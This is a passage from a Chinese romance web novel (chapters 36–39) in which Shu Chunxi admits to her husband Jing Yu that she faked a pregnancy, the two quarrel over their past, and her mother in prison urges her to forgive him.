他不想听她说的话,但她的话却一字一句地钻进脑海里,然后开始自动解析成为他理解的那个意思。 他不知道这是他们夫妻曾经的情趣还是什么,也从来没想过会从舒纯熙的嘴里听说过这些。 不是吃醋,也不是难堪,而是难过。 在这天这夜的情景里,她明明是用抱怨着自己的语气说出口的话,但他活像被人连扇了十几个巴掌一样,心脏已经麻木到不知道是该疼还是怎样。 他也不知道自己是该笑还是该哭。 满心满腹的难以言喻,最终,男人轻轻松开了攥着她的手。 “你在报复我,纯熙,” 他的头颅缓慢到极致地转动了一下,似乎了然一般,说服自己, “你恨我,你恨我。” “我怎么是恨你呢,” 女人叹了一口气,老老实实乖巧地坐在他面前,垂下眼逆来顺受地说: “我是感激你,感激你娶我,帮舒家,我想报答你嘛。” 敬渝没说话,无声地扯出来一个唇角的弧度。 眼前的情况混乱成了这个样子,他也不知道自己还能干点什么了。可能他离开,才是对他们来说最好的解决方案。 沉默了一会儿,男人伸出手,很守规矩地替她拢了拢衣襟,动弹了一下腿。 舒纯熙顺势下来,而他则下了床,背对着她,忽然说: “我会把舒家完完整整地还给你的,你照顾好自己的身体。” 说完,男人身姿僵硬地离开了卧室。 房间里,面对着床背方向跪坐的女人,缓缓地叹出一口气,瘫坐下去,精疲力尽地想。 这样也好。 第36章 她趴在床上,用小婴儿在母体里的姿势接触着身下的床垫,被子早在方才就被踢到了后面。 手脚都不是很舒适的姿势,但舒纯熙停滞着动作,没有要再变动的意思。脑子里嗡嗡地在响,她一点也不想要去回想刚刚那些从自己嘴里说出来的话。 不予评价地把那段回忆给塞到心房的某个抽屉里,只是在心里告诉自己,这样,最好不过了。 。 这天晚上敬渝离开之后就没有回房了,不知道他是去客房睡了还是去了书房,但横竖跟舒纯熙没有关系,她没去关心。 可之后一连过了好几天,舒纯熙也没从李阿姨那里听到些什么风声,貌似家里人都不知道敬渝晚上不是在他们的卧室休息 的。 舒纯熙有时候早上起不来,压根不会在餐厅吃早餐,也就遇不上早起出门去公司上班的敬渝。 至于午餐,也是她一个人吃。 唯一风雨无阻的,大概就是两个人会在晚餐的餐桌上碰面,敬渝貌似从不会在公司加班。 晚餐后他就去书房,到了入睡的时间,就回房间来洗漱换衣,最后,再离开房间。 除了不再跟她睡在一张床上,加上不怎么跟她说话之外,他基本待她如常。 只不过,从外面那些商店里买回来的好玩的、好吃的,不再是他亲手送过来,而是会出现在卧室的茶几上,衣帽间的岛台边,或者门外的花瓶柜上面。 有一天舒纯熙十一点下了楼,还没到吃午餐的时候,但腹中空空,自己走到厨房的冰箱里打开门,看见冷藏有一层里面堆满了各种样子的酥脆小面包,三明治、可颂、牛角包、香肠小点。 这些面包并不是同一家店的,又各自独特的贴纸包装。 冰箱前的女人挑了下眉,意识到这应该是敬渝买回来给她当早餐的,她以前就很喜欢吃这些。 但她最近没吃上早餐,所以这些面包也就堆在了冰箱里,可能一时之间,家里的佣人也不知道该怎么处理。 舒纯熙也想不明白,他为什么还在做这些事情。是为了证明“你推开我,但我对你的好不会这么势利地收回”么? 可她偏偏不想要他的这份证明。 不知道是不是察觉了舒纯熙依旧在失眠,敬渝在一天晚上洗完澡后,没有立刻离开房间,而是坐上了床的另一侧,从抽屉里又拿出了那本书搭在腿上,语气淡然地像是在跟不熟的同学搭话一样。 “你打算什么时候睡?我留下来给你读完书再走。” 另一侧的女人划动平板屏幕的笔端停了,其实,自从他往床边走来之后,她就没办法专注在自己眼前的游戏上了。 余光留意着旁边人的一片青色衣角,舒纯熙一时间没有吭声。 敬渝没得到她的回答,也并不着急,好整以暇地在床头倚靠了起来,颇有耐心地翻看起了手里的书。 一旁的女人自顾自地玩了一会儿,可能是又觉得索然无味,就关上了平板,掀开被子躺了下去。 睡裙与床单摩挲的声音很快就停歇,敬渝偏过头,看她已经紧闭上了双眼,便也将书翻回到上次停下的地方,开口继续往后读了下去。 低沉男声,娓娓道来,跟上一次给她读书的时候,听起来没什么分别,还是那样的平静从容。 舒纯熙转了个身侧过去,背对着身后的男人,却从那一句句的话语里,捕捉到一些若有似无的疏离淡漠,克制着,大概是打定主意,要自己做个旁观者、局外人那样了。 敬渝也确实是有些怵舒纯熙了,他发觉自己心里有了一种面对她时的踌躇胆怯,他也不敢再贸然地靠近她,轻易地跟她开启一段对话。 他真的害怕她还会像那天一样,忽然就对自己说出那样摧心折骨的话来。 就连现在留在房里给她继续读书哄睡的举动,都已经是他鼓足勇气才敢有的试探之举了。 他自觉已经懦弱得不知该如何是好了,对上如今的舒纯熙,当真是束手无策。 或许她说得是对的,她跟以前确实是不一样了,以前的她是一只纸糊的老虎,虽然热情主动,但实际上,根本做不出来那样的事,更不会说那种放肆的话。 那些年,他们连接吻都没有过,她最大胆的举动也就是蜻蜓点水般的印吻了。 他就更不必说,是个死守规矩的老顽固。 而现在呢,从波利回来的她变了一副模样,但他却还停留在原地,没有一点改进。 敬渝在心里暗叹一声,翻页,继续读下去。 读了约莫四十分钟,身旁的人陷入了睡眠之中,敬渝动作轻巧地收了书。 下床之前,他还是朝舒纯熙探过身,盯着她的脸看了好一会儿,没有伸手去碰碰她,只是默默地问睡着的女人: “纯熙,我要怎么办才好?” 他能问的出口,却没有人会回答。 好在他说完这句话,也没有执着,拧着眉头就起身下了床,关灯后出了门。 敬渝去了书房,书房里并没有准备床,他晚上就缩在那张长沙发上面。 这样的日子已经持续了一段时间,他并不想找一间客房去休息,心里是实在不想叫其他人看他们俩的笑话。 就这样,敬渝每天晚上在卧室待的时间延长了一段读书的时间。 舒纯熙也没有让他走,几乎是默认了他的行为。 毕竟她的失眠依旧没有改善,有人在耳边读东西,听上个半个小时,确实会酝酿出来一点睡意。 敬渝又给舒纯熙读了几天的书,这天夜里,在她睡着之后,厚着脸皮也躺了下去。 第二天是周日,他不用去公司,也就没有早起。 于是舒纯熙转醒来之后,自然察觉了还赖在床上没有起床的敬渝。 睡眼惺忪的女人揉了揉眼,没忍住,“嗯”地疑惑出了声。 男人已经醒了,就不再装睡,从床上坐起来,揉了揉脖子,淡淡地解释道: “我书房的沙发睡着实在不舒服,所以就回来睡了。” 说完这句,他顿了一下,又颇为认真地问了一句: “你不介意吧?” 还窝在被窝里的人已经清醒了,她眯起眼,思考着敬渝口里的话的同时,脑海里浮出好几次半夜醒来时看见的身影。 如果他回房来睡,以后也就不用再去而复返,悄悄地背对着自己坐在床上了,跟一只飘荡的幽灵一样。 说不定还算好事。 “随便你。” 她转了个身,朝着外侧趴着。 舒纯熙的语气不咸不淡,听不出明显的喜恶来,但这已经很好了,至少敬渝在听见这句话后,悬了一晚上的心总算彻底放了下去,默默地松了一口气。 夜里,敬渝早早回了房来,两个人先后洗完澡后,就坐在床上各看各的书。 自从出了上次那样的事,敬渝再也不敢出什么泡脚和按摩之类的主意了,每天晚上就给舒纯熙读书,好在目前还有些效果,也就不再费心张罗其他的治疗方法。 舒纯熙在看一本画册,而一边的敬渝翻的是一本讲孕妇知识的书,还是他上床后从舒纯熙那边借的。 也就是这段时间,舒纯熙发现自己这边的床头柜上多了好几本这类书,还有一个玻璃小盒,里面放着好几种口味的糖果,还有两盒口香糖。 大概都是敬渝交代的。 纸张翻页声在室内响着,敬渝的脸色越来越凝重,双睫扫下,遮住眼眸,双唇抿成一条直线。 最近忙起来别的事情,他也没找到时间好好看这些书,今天才准备把这些事情给重新捡起来。 而后,他在心里快速过了一遍舒纯熙这段时间的状态。 骨瘦如柴,最近好像稍微养出来一点肉。 除此之外,孕期还抽过几次烟,虽然近日好像是没再见到了,应该确实没有再抽,但也不知道对孩子有没有造成太大的影响。 她还经常熬夜,很晚才睡,第二天起迟了就直接不吃早餐。 而且,她虽然没有什么情绪异常激动的情况,但一直以来,好像都处于一种心情不太明媚的情况,仔细想想,多少是有点不好的兆头的。 敬渝思绪运转得很快,在脑中过了这些事,唯恐遗漏什么,不待想完,心里已然升起一种慌张又烦躁的情绪。 他自以为会照顾好她的身体和情绪,但实际上呢,这样能养好胎才怪! 一种无力的自责,掺杂着对自己的愤懑涌上心头,将 他的头压得更低了一点。 舒纯熙翻完书册,合上,随手搭在床头柜上的那一堆书上,然后转回身来,就眼睁睁看着敬渝朝自己靠了过来。 她移开头,漫不经心地皱了下眉, “你要干什么?” “你上次产检是什么时候,我明天让人去约下次,医院我已经安排好了。” 闻言,女人动作停顿了下去,瞥了他一眼,又转回来,盯着自己身上盖着的薄被,平白生出几分愁绪来,一时间没有答话。 敬渝没有催促,只是凑近过来,俯下身,慢吞吞地开口,温声问道: “我能听听孩子的胎动么?” 嘴上说着这话,但男人其实已经将近俯到她小腹之前。 舒纯熙对着闯进视线的男人,双眸间已经浮上一股一言难尽的表情。 她没说话,也没有动弹,敬渝便当她是默认了,轻轻地偏头,将自己的耳朵小心翼翼地贴在舒纯熙的小腹上。 结婚那夜之后,敬渝心里已经存了一桩长久的疑虑,找心理医生咨询了舒纯熙的情况。 两个人枯坐分析了很久,如今,他心里对她关于人身接触的界限也有了个大概的模糊推断。 所以,只要不是突然的强迫之举吓到了她,她应该还是能跟自己正常触碰的,他需要保证的是,自己的动作都是在她的眼皮子底下产生的,也就是说处于她的意识之中,她心里有数,应该就不会有什么问题。 而后来,她骑在他身上那天,并没有什么异常,更是从另一方面印证了他的猜测。 敬渝呼吸放缓的同时,舒纯熙也在不自觉地屏息凝神,可越想要放轻动作,身体反而越发僵硬不得舒展,弄巧成拙。 她凝眸看着敬渝的动作,感受得到他周身散发出来的体温热度,暖意混在夜凉寒露之中,难以忽视。 男人双手撑着,头放在她身前,却不会有一点点压迫到她身体的可能性,小心翼翼的动作足见珍视。 舒纯熙也不知道,他能不能听到他想要的什么动静,总之他在那侧耳未动,双唇张开一条缝隙,聚精会神。 他表现得真像一个期待好奇新生儿的父亲,而不是什么大伯。 就像他先前保证的那样。 舒纯熙忽然觉得很累,撑在身侧的双手,十指忽然剐蹭着真丝床品,像内收的同时掐在床垫上。 她的眼皮子耷拉了下来。 原以为那天过后,他们就会相安无事。 但只不过一旬而已,他就能做到如常地搬回房间,做起了和以前一样的事情。 好像一点都不在意,对于先前只字不提。 舒纯熙不知道自己还有多少耐心,去应付他的所谓柔情。 “它闹你么?” 男人总算支起了身子,手掌伸过来,隔着两层面料的阻挡,覆在她的小腹上,没有动,只是轻抚了一下。 目光里已浮起星星点点的心疼与怜惜,只不过垂着头,没有展露给舒纯熙看。 “纯熙,你会不会很辛苦啊?……” 男人犹豫着,口中还有话未尽,其实,他觉得自己做得真不够好,自从她回来,也没能让她处处舒心,明明她还怀着身子,需要更多的照顾和关心。 舒纯熙没有回答他的问题,目光停滞,空洞里带着木,默默地问他: “你听到什么声音了吗?” 敬渝牵牵嘴角,被她的问题弄得有些无措,摇了摇头,说: “好像有,又好像没有,我还不太懂,没什么经验。” 说话间,他也已经克制地把自己的手掌给收了回来,蜷在腿侧。 “敬渝,你还看不出来吗?我根本就没有怀孕。” 舒纯熙忽然出声说道,嘴角扬了扬,但又挤不出来什么笑意,便又恢复了没有表情的样子,目光里的空已逐渐褪去,恢复了一片清明。 “你也不想想,就算我真的怀孕了,经历了那场车祸,还怎么保的住呢?” 她语调微扬地收尾完这个问题,偏了一点头,目光直直地迎上他的。 然后,舒纯熙看得见敬渝的眼睫明显颤动了两下,他整个人就那么僵住了。 原本所谓的丈夫轻抚妻子孕肚的和乐场景,被这轻飘飘的一句话击碎,穿着一身青色丝绸睡衣的男人盘腿坐在床上,怎么看都不合时宜,仿佛他出现在这里,说的刚才的那一番话,全然都是一场天大的笑话。 怪不得,这孩子都要四个月了,还不怎么看得出来,他原本只以为是母体瘦弱的原因。 敬渝无奈地扯唇笑了一下,但心里已经相信了舒纯熙刚刚说的话。 他总是相信她说的话的,她说什么,他就信。 敬渝摇摇头,又立刻觉得自己想的不对,那时候她怀孕的事,不也是她跟他说的么。 那时候他就相信了,因为他从来就没有想过舒纯熙会骗自己。 可现在她又换了一副说辞,那么到底哪个才是真的? 敬渝闹不明白,仿佛一脚踏入了迷雾,茫然到无力。 终于,他找回了自己的声音,一字一句地艰难问道: “那你,为什么要骗我呢?” 舒纯熙轻轻皱了一下眉头,理所当然地回答他: “因为耍你很好玩啊。怎么样,这段时间一直觉得我怀了敬亭的孩子,还要读那些书学习怎么照顾孕妇,费心费力地给别人当后爸,你心里面滋味如何啊?” 敬渝冷笑了一声,想张嘴,但满口苦涩。胸腔里燃烧着的岩浆冲击着理智的防线,仿佛就要把他整个人都给烧成灰烬。 男人勾唇,低低地又干笑了一声,脸上的表情连舒纯熙看上去都陌生极了。 他攥着衣摆,双拳青筋暴起,耐着天大的性子,慢条斯理地回答舒纯熙的问题,说: “你说的对,耍我是很好玩。 “那我告诉你,这段时间以来,我敬渝,锥心刺骨,悔之莫及,撕心裂肺,透骨酸心,夜不能寐……怎么样,现在你满意了么,舒大小姐?” 舒纯熙这下没有应声了,她只是默默地撑着床垫往床边移动了一点,好像在害怕敬渝会突然暴起对她怎么样,已经开始提前想对策了。 敬渝看见她这样子,也只得冷笑一下,依旧坐在床上一动不动。 是他犯贱,是他蠢得不行。 他总觉得她没有变,所以才总是把她当成两年前的那个人对待,而她呢,她看他的眼神,时时刻刻都在说,她根本就不把他当做从前的那个敬渝在看了。 明明率先离开的人是她,那个毫不犹豫就抛下自己的人是她,现在她反而却跑回来报复起了自己。 敬渝似哭似笑,摸了摸鼻尖,冷漠的眼睛盯着舒纯熙,不复先前的半分温和,咬紧牙关死死地说: “舒纯熙,你凭什么报复我?你决定跟敬亭结婚的时候,提前告诉我了么?通知我了吗?我什么都不知道,你们两个是瞒着我在波利结的婚!” “那又怎么样?!” 舒纯熙拔高了音量,突然从床上坐直了身子,双眼亦是死死盯着敬渝的眼睛,情绪一旦激动起来,顷刻便红了眼眶, “你本来有机会娶我的,我是先找的你,是你不要,是你自己不愿意娶我的!” “我没有不愿意娶你!我只是不能答应立刻娶你,我们不能在那个风口浪尖结婚你不明白吗?那天你究竟有多么咄咄逼人你不记得了吗,你告诉我,我除了保持沉默,到底还要怎样才能把你给劝住?” “你不是,你只是不想保护我,不想跟我结婚,你只是害怕了,你只是不要我了。” 舒纯熙摇着头,呢喃着重复,好像已经平静下来,然后,她又重重地吼叫了一句, “是你先不要我的!” 敬渝本就攥紧的双拳已经不能再收紧,徒劳地松开,他颓唐地塌下肩背,继续低声说: “我以为你去莫瑞恩尔避避风头也很好,等事情处理得差不多了我再接你回来。家里的婚事我已 经让人着手在准备了,我根本拗不过你的不是么,其实我早就缴械投降了,只不过就是晚了不到半个月而已。但你一点挽回的余地都没有留给我。我还给你发过消息,可你回了我什么? “君既无心我便休,萧萧夜雨断肠愁。” 敬渝无可奈何地摇了摇头,周身染上晦涩与灰暗,苦笑地重复了一句, “君既无心我便休,萧萧夜雨断肠愁。君既无心,君既无心。舒纯熙,你不是说你喜欢我的么,我对你到底有没有心,你自己不知道?” “至于断肠愁,你安然另嫁,成双入对,夫妻和睦,到底是谁在忍受这‘断肠愁’?” 舒纯熙没怎么听过敬渝如此直接的表明心意,但此时此刻说出来这些还有什么用,想也知道现在不是表白的好时机。 她听在耳边只觉得一阵头痛眩晕,咬文嚼字地说了句: “我没给你发过这句话,我根本就没收到过你的消息。” 直到现在,她都不觉得当年敬渝后过悔。 第37章 舒纯熙只觉得疲惫,根本不想细究这件小事,往后仰靠在床头。 因为她已经移到了床边,所以背部一小半都悬空着,抵到床头的那盏台灯,一不注意就可能要掉下去。 看上去,果真是视现在的他为洪水猛兽的模样。 因为她欺骗、愚弄了他。 敬渝从床上直起了身,转过去从自己的那边利索地下了床,走到床尾站着,远远地望着对角线上那边的女人,冷冷地说: “你用不着害怕,我还不至于控制不住自己,做出来什么伤人的事情。” 舒纯熙低下头,原本想要蜷起来的双腿也一时僵住,杵在那里没有了进一步的动作。 而后男人又忽然开口,已经是思绪在脑海里又过了不知道多少遍,而他一脸无望地说: “你没看到过那条消息也没关系,反正我很快也就找到莫瑞恩尔去了,不是么?” 舒纯熙一动不动,没有反应,但其实已经在心中也点点头,应和起了他。 是啊,只是一条消息而已,根本改变不了什么。 毕竟两个人都心知肚明,他是追到了莫瑞恩尔,但最后,是一个人回去的。 敬渝走了,连关门的时候都没有用重力气,轻轻地带上,只好像这又是一个寻常的夜晚而已。 但舒纯熙知道,他是不会再回来了。 这样正合她的意,反正他也已经给过自己承诺了,就算他们现在彻底闹僵了,以敬渝的性格,也不可能不管舒家的事的。 她实在没有什么好担心的了,也犯不着顾忌他。 舒纯熙就这样想着,终于移回了自己原来坐的地方,目光在空荡荡但明显很安全的房间里扫视了一下,最后落在右手边,敬渝的枕头上。 她抱起枕头团在怀里,不轻不重地给了里面柔软的鹅毛几拳,拉着脸,又把它塞到了被子里面。 眼不见为净。 但被子里凸起来的那个地方,又在眼前挥之不去。 她又一把掀开被子,咬着牙将那枕头猛地扔下了床,一个平地挺身,躺在床上,又趴过去,把脸埋在了床垫里。 。 敬渝是压着一身火气离开卧室的。 出了门就往楼梯走,低着头一步不停地下台阶,一鼓气走到一半,男人才忽然停下了脚步,抿着唇,只觉得有一口气堵在嗓子眼里。 上不去,又下不来。咽不下,却又吐不出。 最后也只能烦躁地扯起了衣领,偏偏身上的睡衣是两片敞领的衬衫款式,根本不像平时穿的衬衫那样压抑,到头来不过是此地无银三百两而已。 于是他也只能站在楼梯半道上,冷冷地勾唇,唇角扬起一个十足僵硬的弧度,实在是摆不出往日的平和,只好自嘲地笑了半声。 半晌后,还是沉下一张脸来。 荒谬,这一切都让他觉得荒谬到了极点。 自从她从莫瑞恩尔回来之后,做的每一件事都是这么地出乎自己的意料。 一开始,他觉得她在四周竖起了墙,不让自己靠近。 但现在,他总算进到了墙里面来,她却又开始用利刃狠狠地剜他的血肉。 敬渝想着,无奈地闭上了双眼。 过了好一会儿,僵着身子的男人才继续往下走,整个人已然又压抑成了平时那副无风无波的样子,在脑海里思索起别的事情来。 两周前,一份在祝文兵生前,他亲自着手调查整理的、尚未完成的文件,应该已经作为他未竟的一桩心事,以遗嘱的形式呈给了国政院的诸位议员。 无论如何,这件事都不会沉寂下去的。 。 如同舒纯熙希望的那样,敬渝又继续睡在书房,还会尽量避开她,晚上多在外面应酬,夜半才归。 两个人已经很久没有面对面坐下来了,实在碰上了,他也不主动跟她说话,更不看她。 舒纯熙捕捉到过他躲闪着的漠然的眼神。 不待她想明白,既然漠然,又为什么要躲闪这个问题,男人已经转过身,留给她一截如松如竹挺拔坚忍的背影,只是有那么一丝萧索的意味,却也很快就会消失在走廊或者楼梯的尽头。 被落在后面的女人挑挑眉,垂下头看自己的拖鞋,漫无目的地踢了几下,自己跟自己玩似的。 转眼翻过月尾,到了下个月,郑徽提前和舒纯熙打过招呼,说了这次去一等公狱探望的具体时间。 舒纯熙记下了,这一天起得早,九点就从家里出发。 时间充裕,舒纯熙提前也计划好了,先去探视完几位叔伯之后,再去见父亲,然后再去女狱那边,去见母亲。 见完舒怀宁,女人从会见室的门后走出来时,碰巧望见跟在一个狱警身后,缓步走过来的敬渝。 原来他今天也来见舒怀宁,只是没跟自己一起从家里出发。大概没想过时间没有岔开,两个人还是遇上了。 舒纯熙眨了眨眼,目光落在男人身上,轻飘飘地如同一片羽毛。说不上心里是什么情绪。 就在方才,父亲还过问她和敬渝的事,问他们婚后相处得怎么样。 敬渝有没有对你哪里不好?有没有不周到不体贴的地方? 舒纯熙只记得自己摇了摇头,诚然,敬渝对自己很好了。 既然如此,那你们就好好过日子。至于手上的东西,你也找时间交给他吧,不管他用不用得上,我们也不必藏着掖着了,如今结了婚,不管是明面上还是实际上,咱们两家都捆绑在了一起,也没什么好顾忌的了。 …… 敬渝确实是从公司赶过来了,最近他很忙,忙着公事,让自己的心暂存在冷冻柜里,不能分得出任何精力去想任何别的事情。 而不经意抬头的瞬间,已经撞上走廊尽头的女人投过来的目光。 那一瞬,呼吸不争气地缓了,他忘了自己刚养成的习惯,竟停住,没有收回自己的眼神,反而容许自己与她对望。 她现在总算养回来一点肉,看上去身材更匀称,本来就白得透光的皮肤,在纯白色的丝质连衣裙映衬下,整个人泛着一种还算平和的气质,就像一颗闪着光泽的珍珠一样。 自从知道舒纯熙没有怀孕之后,家里原来的那些营养师就走了,换成了做川菜和徽菜的师傅,看来确实合她的口味,也终于肯好好吃饭了。 敬渝暗自低了低眸,又自嘲地想,也有可能是因为自己终于不往她跟前凑,她心情舒畅,自然也就能“心宽体胖”了。 牵了牵嘴角,敬渝始终落后身前的狱警一步,未移开的目光之中,站在那扇门门口的女人伸出一只手来,抚了抚自己耳边的发,将原先垂在肩前的一缕长发拢了回去。 夏日的雷阵雨仿佛随时就会卷土重来,天边堆叠着深浅不一的一层又一层乌云,风吹开其中几片,天光从那一个小孔里透 出来,穿过走廊旁的一排玻璃,漏在地面上。 时光流转的不过几瞬,灰色珍珠上莹润的光泽闪在敬渝眼前,停留了几息,才晃了一下,被她收回身侧。 舒纯熙手上戴着的,是他们两个的婚戒。 敬渝总算不动声色地收回了目光,垂头望着前面的路,在那间会见室门口停下脚步。 “敬总。” 宁秘书站在舒纯熙身后不远处,两个人既然看见了敬渝正在往这边来,肯定要打个招呼再往女狱去的。 “宁秘书,” 敬渝礼貌地笑了下, “麻烦你了。” “敬总客气了,敬太太刚见过舒先生,接下来我们去女狱那边。” 宁秘书笑着解释了一句,猜两人或许要说些什么,就很有眼色地往外移了一步,望着窗户外面。 敬渝于是侧过头,面朝着舒纯熙站定。 而女人的眉心在听见那句“敬太太”后就已经不经意地蹙起来,西子捧心般,笼上了淡淡的愁绪。 今天见到宁秘书之后,他开口时就已经是一句自然无比的“敬太太”了。 舒纯熙不知道敬渝是怎么昭告别人的,本就一口气堵在胸口,现在,又被翻了出来。 而一旁的男人直到此时,才发现她忽然又不高兴了起来,抿了抿唇,犹豫得很,放轻声音后低声问了一句: “见过岳丈了?他一切都好吧。” 那眉心又皱得更狠,她扬起小脸瞪了他一眼,飞快地回了一句: “你自己不会看么?” 声音不高,冷淡得很,但敬渝觉得身边的人都听到了。 气氛一时之间有点凝滞。 他不知道自己又哪里惹到她了,嘴角微凝,而后有点讪讪地露出一个微笑,手抬起来,举在她小臂旁边虚虚揽着,温和地哄了一句,说: “是我说错了,你就别跟我计较了,去见岳母吧,记得帮我向她问好。” 舒纯熙倒是没再继续下他的面子,冷哼一声就与他擦肩而过。 敬渝脸上还挂着先前的浅笑,冲转过身来的宁秘书点头示意,然后望着两个人消失在走廊另一头,才有点无奈地放下唇角,垂首摸了摸自己的鼻梁,叹了口气。 舒纯熙憋着一口气,呛了敬渝一句也并没有撒出去,反而像一只河豚般良久地蓄着气,快步走在去女狱的路上。 会客室的门打开后,她走进去看见母亲坐在桌后的身影,一下子就跑过去,俯身扑进了她的怀里。 这个拥抱的姿势极其别扭,杨曦身下的椅子同桌子之间离得很近,舒纯熙只能从她身侧张开双臂环抱住母亲的上半身,中间隔着的椅子把手抵在中间,不复人体的柔软亲和。 骤然被女儿这样拥住,杨曦不知道是发生了什么事,心一惊,伸手覆在了女儿的手臂上,连忙问: “怎么了,受什么委屈了?” 第38章 “……没有。” 舒纯熙埋头压在她肩上,“唔”了两声,才抬起头,眼眶已经红了,一张小嘴瘪瘪的,含着话却不说,明明就是一副委屈得都要哭了的样子。 杨曦心里重重一跳,沉下脸来,猜道: “是不是敬渝欺负你了?” 她还是道没有,被抱着的人于是安抚地拍了拍女儿的手臂,示意她松开,然后站起来将呆站在一边的女儿搂进了怀里,用另一只手轻柔地抚摸着她的脊背,从上顺到下,抚平她的紧张和激动。 “发生什么事情了,看来是跟敬渝吵架了?” 话音落下,被母亲以一个亲密的姿势搂在怀里的舒纯熙鼻子一酸,心里又泛起一阵一阵委屈的酸涩来,飞快地告状道: “今天宁秘书见到我都叫我‘敬太太’了,之前他还喊我‘二夫人’,谁知道他是怎么知道的,但是现在人人都知道我又嫁给敬渝了!你说他们背后会怎么编排我、怎么笑话我呀……” 说着,她实在忍不住,“啪嗒啪嗒”滴下两颗泪珠来,在面上留下一条泪痕。 杨曦听到这句话,愣了一息而已,并不言语,没有回应舒纯熙的话,而是好好抱着怀里炸毛的小猫,像从前一样,用极大的耐心与柔情,抚慰着她、给她顺毛。 “妈妈,你……你说话呀!” 她抽噎着,好像明明就要平静下来了,却不甘心就这样消气,胡搅蛮缠地非要母亲站在自己这边。 “纯熙,我想你真正气的并不是这件事,对么?” 杨曦抚摸她的动作停下来,转而只是静静地拥着她。 但她没得到女儿的回答,小兽哼哧哼哧地呼着气。 杨曦平静地微笑着,继续了自己原来的动作。 舒纯熙总算还是被安抚下来了,在一个舒心温暖的臂弯里面,如同倦鸟归林,逐渐卸下所有防备和戒心,甚至有了要好好睡一觉的想法。 就在这时,身前的母亲开口了,和缓地问她: “纯熙,你是不是还在生小渝的气,到现在都不肯原谅他呢?” 当年舒纯熙和敬渝到底是怎么说的,又为什么闹成那样,转而又嫁给了敬亭,这些,她都还没有好好地跟自己说过。 但其实也不用多说,她跟舒怀宁一样,都能猜个七七八八。 舒纯熙嚅动了一下双唇,想承认又说不出来话,但要反驳,又总觉得一股子别扭劲儿。 直到最后也没说出个所以然来。 看舒纯熙的反应,杨澜也就明白女儿的想法了,她的目光从舒纯熙脸上收回,又将她面对面抱在怀中。 相拥的一对母女看不见彼此的面部表情,只是将目光投向各自面前的那扇朴素的白墙。 杨曦终于开了口,轻缓地对怀中的女儿说: “纯熙啊,当年的事情,我想小渝也很难做吧,所以不能全怪他,对不对?” 舒纯熙咬紧下唇没有说话,不知道是不是因为这句话又要赌气了。 杨曦已经又抚摸上了她的背,一字一句斟酌地说下去: “你爸他那个人啊,总觉得只有法律认证了的婚姻,才能让他安心。这是其一。 “其二呢,那时候,咱们家虽然出了事,但又不是古时候的抄家流放,非要嫁了人才能免罪。所以,你爸他非要你们立刻结婚,还让你自己去找小渝,肯定是存了试敬家的意思。 “那个时候局势混乱不清,小渝如果真的听了你爸的话,和你结了婚,就是明面上跟咱们舒家彻底站在了一起,你说是不是?” 她停顿了一下,松开女儿,看了看她脸上的神色,叹了口气,感慨了一句: “毕竟谁也不会相信,娶了我舒家的女儿,他还能真对咱们家的事不管不问,对吧?” 所以,舒怀宁的这步棋若是起了效,就能直接将敬家拖下水来。 若是不能,他也并不会损失什么,不过就是一试而已。 至于敬渝最终做出的选择,杨曦不知道他有没有过艰难的挣扎和纠结,但也明白,不帮,无可厚非。 他只是作为敬家的掌门人,选择自断一臂,没有应舒怀宁的这步棋罢了。 只不过,这一老一少两个男人的交锋,到头来,只苦了她的女儿,她的纯熙而已。 原本,如果女儿和敬亭能长长久久地过下去,这些话她也就不用说了。 可时至今日,兜兜转转,竟然又成了眼前的这副模样。 她真的不知道,是该高兴这两个孩子终于是得偿所愿了,还是该感叹老天爷忘不了要捉弄人。 “不论如何,小渝没有真的不管我们,这两年,小渝应该还是打点了不少事的。” 杨曦轻叹了一口气,最后还是明摆着劝了一句: “更何况,当初你跟敬亭结婚之后,不论他们敬家内部到底是怎样,在外人看来,敬家相当于还是跟我们舒家绑在了一块。而国内的这些影响,小渝也认下了,对不对?” 舒纯熙不知道该说点什么,她没想到,自己难得来找母亲撒娇,最后 反而听到这么一番话,明里暗里地劝她原谅敬渝。 “我不要体谅他,我要一直讨厌他、妈妈,我是不会原谅他的!” 舒纯熙挣开了杨曦的怀抱,喃喃地重复了这几句话,越说越激动,平静下去的情绪又席卷回来,伸出手抹起了眼泪来。 “纯熙,宝贝……” 女人心疼地伸出手,想要再将女儿抱进怀里,一连叫了她两声,却只能看见舒纯熙捂着脸一直往后退,止不住呜咽的声音,然后皱着眉头,眼睁睁地看着她跑了出去。 舒纯熙心里乱糟糟的,于是就不管不顾地逃离了会见室,就这样结束了这次的探视。她夺门而出时,等在外面的宁秘书似被惊到,猛地抬了下头。 而舒纯熙根本没心思管他,一路小跑着往外走。 直到出了监狱,看见等在外面的车,她才逐渐放缓了脚步。 女人打开车门坐上车,车门被关出“嘭”的一声巨响,直将坐在后座上的另一个人惊得一颤,不明所以地侧头望着她。 映入敬渝眼帘的,是一张梨花带雨的面庞,眼尾和鼻尖明显红彤彤的,额边碎发有些凌乱,看上去就像一朵被雨给打透了的蔷薇花。 “你怎么了?岳母跟你说了什么?” 他好像已经很久没看见她这么哭过了,呼吸一滞,顾不得考虑更多就探身过去,放在腿侧的手已经握了起来。 舒纯熙鼻音很重地哼了一声,声音冷极,毫不犹豫地吐出了两个字,“下去。” 听到她的话,也明白这话是对自己说的后,敬渝些微地拧起了眉心,盯着她,一时间并没有动。 直到舒纯熙又用跟方才同样大小的声音,重复了一遍那两个字,他也没有动。 车厢里的氛围降到冰点,但显然不是冷气的作用。 而司机丁叔也在此时有些犹疑地回过了头来,看了一眼敬渝,不知道自己是不是该下去。 敬渝在舒纯熙彻底暴怒、然后重复第三遍之前,把话抢了过来,盯着她的脸淡淡地开口,但话是对驾驶座的人说的: “丁叔,你先下车吧。” 第39章 “诶,好的敬总。” 丁叔很快应了一声,忙不迭地就打开车门,立刻下了车,把车厢内的空间留给两人。 关门的轻响落下后,原本坐在右边的敬渝朝左边挪了过去,挨着她腿边。 倾身往下,再侧偏着向上仰面,去看舒纯熙低垂着的脸。 而她已经很快的把脸扭过去,只是传来一丝很轻的吸鼻声。 敬渝屏息,指节分明的大掌渐渐朝她探去,指尖先触上她的下巴,而后再往下,几个手指抬起她的下颌,动作温柔地将那张不给自己看的脸转了过来。 舒纯熙掀起眼帘,用目光幽幽地瞧他一眼。 下巴上抵着的手随之离开,但又覆上她双眼,遮住眼前视线。 有点粗砺质感的手指在右眼眼尾停留了一下,抚着皮肤向边上揩了一下,原本温柔却干涩的指腹染上湿润的触感,反而被豆大的泪珠淹没。 愈发止不住了。 